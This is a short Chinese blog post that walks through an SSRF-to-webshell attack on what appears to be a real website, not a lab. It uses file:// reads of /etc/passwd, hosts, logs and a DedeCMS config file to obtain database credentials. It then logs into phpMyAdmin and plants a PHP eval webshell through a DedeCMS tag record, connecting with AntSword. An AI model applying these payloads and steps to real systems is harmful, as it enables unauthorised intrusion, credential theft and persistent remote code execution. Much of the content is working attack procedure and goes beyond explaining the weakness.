实战从SSRF到Getshell
  • 2020-06-18


昨天打网鼎杯王八组的比赛,做到一题SSRFME。

做了一下午没做出来(结束之后听说是gopher打redis 然后主从复制写shell)

佛系的我就找了鸡哥学一下ssrf ,然后鸡哥直接给我来了一波实战教学


#0x01

SSRF的成因、危害就不赘述了,SSRF可能产生的地方有

5eeb11e2c5488.png

根据特征,这里就找到一个网站通过url来采集xpath

5eeb11f42bff2.png

点击加载网页查看加载的接口

5eeb1294de722.png

这里可以获取到两个参数 ,一个是type另一个是url,去post发包测试一下

5eeb12ada0897.png

分析

通过url参数可以访问http协议的域名 但如果url参数没做限制  改成其他协议或者内网url的话  有可能就可以加载内网资源,例如读取passwd file:///etc/passwd

5eeb12d4a45a0.png


在这里发现是可以使用file协议的,那就去读取一下各种文件,例如读取hosts

5eeb12e15855a.png

看到了另一个域名www.a.com,记下来,等下可能有用,还看到了bt.cn,所以服务器用的宝塔部署。继续尝试读取日志获取phpmyadmin路径

5eeb130b562b9.png

得到一个PhpMyAdmin的路径,但最后Nginx配置无法读取,估计是权限不足,然后想一下宝塔的phpmyadmin访问地址构成一般是 域名:888/phpMyAdmin_一串hash,于是访问上图的地址成功打开了phpmyadmin的登陆界面,这下就要思考怎么去拿shell了。

#0x02

前面从那个hosts里看到了另一个域名,根据指纹判断cms为织梦

5eeb13292f9cc.png

老司机都知道织梦的配置文件存在于 /data/common.inc.php,而宝塔的网站路径为 /www/wwwroot/网址/,所以合并路径进行读取:

file:///www/wwwroot/www.a.com/data/common.inc.php

5eeb1340180f9.png

拿到数据库账号密码,通过前面获取的phpmyadmin地址进行登陆,成功进入后台

5eeb13521c50b.png

这里尝试用phpmyadmin日志拿shell跟导出文件拿shell的方法都失败了,百般尝试之后最终通过SQL增加表tag的内容

5eeb135e4674c.png

在normbody字段加  {dede:php}@@eval($_POST[233]);{/dede:php} 然后通过plus/mytag_js.php?aid=20&nocache=1 打开指定aid的广告,再用蚁剑链接即可

5eeb136e08ecc.png

感谢鸡哥 鸡哥牛逼!